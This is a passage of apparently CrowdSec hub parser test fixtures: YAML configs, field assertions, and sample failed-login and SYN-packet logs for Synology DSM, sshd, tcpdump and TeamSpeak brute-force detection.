rhost=10.4.2.113 hub1/.tests/synology-dsm-logs/000077500000000000000000000000001437532772500165625ustar00rootroot00000000000000hub1/.tests/synology-dsm-logs/config.yaml000066400000000000000000000003701437532772500207130ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/synology-dsm-logs.yaml scenarios: - "" postoverflows: - "" log_file: synology-dsm-logs.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/synology-dsm-logs/parser.assert000066400000000000000000000153761437532772500213150ustar00rootroot00000000000000results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Success == true results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Parsed["message"] == "pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.112" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Parsed["program"] == "synoscgi_SYNO.API.Auth_7_login" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Parsed["src_ip"] == "10.4.2.112" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Parsed["timestamp8601"] == "2022-02-09T20:53:37+01:00" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Parsed["pid"] == "2197" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Meta["log_type"] == "synology-dsm_failed_auth" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Meta["machine"] == "synologynas" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Meta["service"] == "synology-dsm" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Meta["source_ip"] == "10.4.2.112" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Meta["datasource_path"] == "synology-dsm-logs.log" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Success == true results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Parsed["pid"] == "2209" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Parsed["src_ip"] == "10.4.2.112" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Parsed["message"] == "pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.112" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Parsed["program"] == "synoscgi_SYNO.API.Auth_7_login" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Parsed["timestamp8601"] == "2022-02-09T20:53:48+01:00" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Meta["datasource_path"] == "synology-dsm-logs.log" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Meta["log_type"] == "synology-dsm_failed_auth" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Meta["machine"] == "synologynas" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Meta["service"] == "synology-dsm" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][1].Evt.Meta["source_ip"] == "10.4.2.112" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Success == true results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Parsed["pid"] == "2368" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Parsed["program"] == "synoscgi_SYNO.API.Auth_7_login" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Parsed["src_ip"] == "10.4.2.116" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Parsed["message"] == "pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.116" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Parsed["timestamp8601"] == "2022-02-09T20:54:00+01:00" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Meta["datasource_path"] == "synology-dsm-logs.log" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Meta["log_type"] == "synology-dsm_failed_auth" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Meta["machine"] == "synologynas" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Meta["service"] == "synology-dsm" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][2].Evt.Meta["source_ip"] == "10.4.2.116" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Success == true results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Parsed["message"] == "pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.114" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Parsed["pid"] == "2706" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Parsed["src_ip"] == "10.4.2.114" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Parsed["timestamp8601"] == "2022-02-09T20:55:08+01:00" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Parsed["program"] == "synoscgi_SYNO.API.Auth_7_login" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Meta["datasource_path"] == "synology-dsm-logs.log" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Meta["log_type"] == "synology-dsm_failed_auth" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Meta["machine"] == "synologynas" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Meta["service"] == "synology-dsm" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][3].Evt.Meta["source_ip"] == "10.4.2.114" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Success == true results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Parsed["program"] == "synoscgi_SYNO.API.Auth_7_login" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Parsed["src_ip"] == "10.4.2.113" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Parsed["timestamp8601"] == "2022-02-09T20:55:18+01:00" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Parsed["message"] == "pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Parsed["pid"] == "2737" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Meta["datasource_path"] == "synology-dsm-logs.log" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Meta["log_type"] == "synology-dsm_failed_auth" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Meta["machine"] == "synologynas" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Meta["service"] == "synology-dsm" results["s01-parse"]["crowdsecurity/synology-dsm-logs"][4].Evt.Meta["source_ip"] == "10.4.2.113" hub1/.tests/synology-dsm-logs/scenario.assert000066400000000000000000000000001437532772500215760ustar00rootroot00000000000000hub1/.tests/synology-dsm-logs/synology-dsm-logs.log000066400000000000000000000015411437532772500226740ustar00rootroot000000000000002022-02-09T20:53:37+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2197]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.112 2022-02-09T20:53:48+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2209]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.112 2022-02-09T20:54:00+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2368]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.116 2022-02-09T20:55:08+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2706]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.114 2022-02-09T20:55:18+01:00 synologynas synoscgi_SYNO.API.Auth_7_login[2737]: pam_unix(webui:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=10.4.2.113 hub1/.tests/syslog-logs/000077500000000000000000000000001437532772500154365ustar00rootroot00000000000000hub1/.tests/syslog-logs/config.yaml000066400000000000000000000002061437532772500175650ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs scenarios: - "" postoverflows: - "" collections: - "" log_file: syslog-logs.log log_type: syslog hub1/.tests/syslog-logs/parser.assert000066400000000000000000000042161437532772500201600ustar00rootroot00000000000000results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "syslog-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "syslog-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "syslog-logs.log" hub1/.tests/syslog-logs/syslog-logs.log000066400000000000000000000004141437532772500204220ustar00rootroot00000000000000Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 hub1/.tests/tcpdump-logs/000077500000000000000000000000001437532772500155725ustar00rootroot00000000000000hub1/.tests/tcpdump-logs/config.yaml000066400000000000000000000002431437532772500177220ustar00rootroot00000000000000parsers: - crowdsecurity/tcpdump-logs - crowdsecurity/syslog-logs scenarios: - "" postoverflows: - "" collections: [] log_file: tcpdump-logs.log log_type: tcpdump hub1/.tests/tcpdump-logs/parser.assert000066400000000000000000000151631437532772500203170ustar00rootroot00000000000000len(results["s01-parse"]["crowdsecurity/tcpdump-logs"]) == 4 results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Success == true results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["new_connection"] == "true" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["program"] == "tcpdump" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["tcpflags"] == "S" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["timestamp"] == "11:29:42.550475" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["dest_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["dest_port"] == "22" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["source_port"] == "43436" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["message"] == "11:29:42.550475 IP 1.2.3.4.43436 > 172.1.2.3.22: Flags [S], seq 2398030442, win 64240, options [mss 1460,sackOK,TS val 2908275146 ecr 0,nop,wscale 7], length 0" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["datasource_path"] == "tcpdump-logs.log" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["dest_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["dest_port"] == "22" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["log_type"] == "tcp_syn" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/tcpdump-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Success == true results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["source_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["timestamp"] == "11:29:42.550554" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["dest_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["new_connection"] == "true" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["program"] == "tcpdump" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["tcpflags"] == "S." results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["dest_port"] == "43436" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["message"] == "11:29:42.550554 IP 172.1.2.3.22 > 1.2.3.4.43436: Flags [S.], seq 1252624761, ack 2398030443, win 62643, options [mss 8961,sackOK,TS val 1384641183 ecr 2908275146,nop,wscale 7], length 0" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Parsed["source_port"] == "22" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["source_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["datasource_path"] == "tcpdump-logs.log" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["dest_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["dest_port"] == "43436" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["log_type"] == "tcp_syn" results["s01-parse"]["crowdsecurity/tcpdump-logs"][1].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Success == true results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["timestamp"] == "11:31:20.553633" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["dest_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["dest_port"] == "22" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["program"] == "tcpdump" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["source_port"] == "21803" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["tcpflags"] == "S" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["message"] == "11:31:20.553633 IP 4.3.2.1.21803 > 172.1.2.3.22: Flags [S], seq 3756801163, win 29200, options [mss 1460,sackOK,TS val 9368516 ecr 0,nop,wscale 7], length 0" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["new_connection"] == "true" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Parsed["source_ip"] == "4.3.2.1" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["log_type"] == "tcp_syn" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["source_ip"] == "4.3.2.1" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["datasource_path"] == "tcpdump-logs.log" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["dest_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][2].Evt.Meta["dest_port"] == "22" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Success == true results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["dest_port"] == "21803" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["source_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["source_port"] == "22" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["tcpflags"] == "S." results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["dest_ip"] == "4.3.2.1" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["message"] == "11:31:20.553713 IP 172.1.2.3.22 > 4.3.2.1.21803: Flags [S.], seq 1202442063, ack 3756801164, win 62643, options [mss 8961,sackOK,TS val 2669130073 ecr 9368516,nop,wscale 7], length 0" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["new_connection"] == "true" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["program"] == "tcpdump" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Parsed["timestamp"] == "11:31:20.553713" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["dest_ip"] == "4.3.2.1" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["dest_port"] == "21803" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["log_type"] == "tcp_syn" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["source_ip"] == "172.1.2.3" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["datasource_path"] == "tcpdump-logs.log" results["s01-parse"]["crowdsecurity/tcpdump-logs"][3].Evt.Meta["datasource_type"] == "file" hub1/.tests/tcpdump-logs/tcpdump-logs.log000066400000000000000000000012551437532772500207160ustar00rootroot0000000000000011:29:42.550475 IP 1.2.3.4.43436 > 172.1.2.3.22: Flags [S], seq 2398030442, win 64240, options [mss 1460,sackOK,TS val 2908275146 ecr 0,nop,wscale 7], length 0 11:29:42.550554 IP 172.1.2.3.22 > 1.2.3.4.43436: Flags [S.], seq 1252624761, ack 2398030443, win 62643, options [mss 8961,sackOK,TS val 1384641183 ecr 2908275146,nop,wscale 7], length 0 11:31:20.553633 IP 4.3.2.1.21803 > 172.1.2.3.22: Flags [S], seq 3756801163, win 29200, options [mss 1460,sackOK,TS val 9368516 ecr 0,nop,wscale 7], length 0 11:31:20.553713 IP 172.1.2.3.22 > 4.3.2.1.21803: Flags [S.], seq 1202442063, ack 3756801164, win 62643, options [mss 8961,sackOK,TS val 2669130073 ecr 9368516,nop,wscale 7], length 0hub1/.tests/teamspeak-bf/000077500000000000000000000000001437532772500155135ustar00rootroot00000000000000hub1/.tests/teamspeak-bf/config.yaml000066400000000000000000000004531437532772500176460ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/teamspeak3-logs.yaml scenarios: - /scenarios/crowdsecurity/teamspeak3-bf.yaml postoverflows: - "" log_file: teamspeak-bf.log log_type: ts3 labels: {} ignore_parsers: false override_statics: [] hub1/.tests/teamspeak-bf/parser.assert000066400000000000000000000610731437532772500202410ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 6 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-12-29 11:39:26.009756|INFO |Query | |query from 11 127.0.0.1:48426 attempted to login with account \"toto\" and failed!" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "ts3" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "ts3" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "ts3" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "ts3" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "ts3" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2023-01-13 00:44:27.543333|INFO |Query | |query from 101 [fd00:feed:dead:beef:405f:26ff:fe06:d4b]:34232 attempted to login with account \"harry\" and failed!" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "ts3" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false len(results["s01-parse"]["crowdsecurity/teamspeak3-logs"]) == 6 results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Success == true results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["chan"] == "11" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["level"] == "INFO " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["message"] == "2022-12-29 11:39:26.009756|INFO |Query | |query from 11 127.0.0.1:48426 attempted to login with account \"toto\" and failed!" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["program"] == "ts3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["empty"] == " " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["login"] == "toto" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["service"] == "Query " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["src_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["src_port"] == "48426" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Parsed["timestamp"] == "2022-12-29 11:39:26.009756" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Meta["log_type"] == "ts3_fail_auth" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Meta["service"] == "teamspeak3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][0].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Success == true results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["chan"] == "6" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["level"] == "INFO " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["service"] == "Query " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["src_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["timestamp"] == "2022-12-29 11:28:04.596079" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["empty"] == " " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["login"] == "bui" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["message"] == "2022-12-29 11:28:04.596079|INFO |Query | |query from 6 127.0.0.1:43764 attempted to login with account \"bui\" and failed!" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["program"] == "ts3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Parsed["src_port"] == "43764" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Meta["datasource_path"] == "teamspeak-bf.log" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Meta["log_type"] == "ts3_fail_auth" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Meta["service"] == "teamspeak3" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Success == true results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["empty"] == " " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["level"] == "INFO " results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["login"] == "bui" results["s01-parse"]["crowdsecurity/teamspeak3-logs"][2].Evt.Parsed["message"] == "2022-12-29 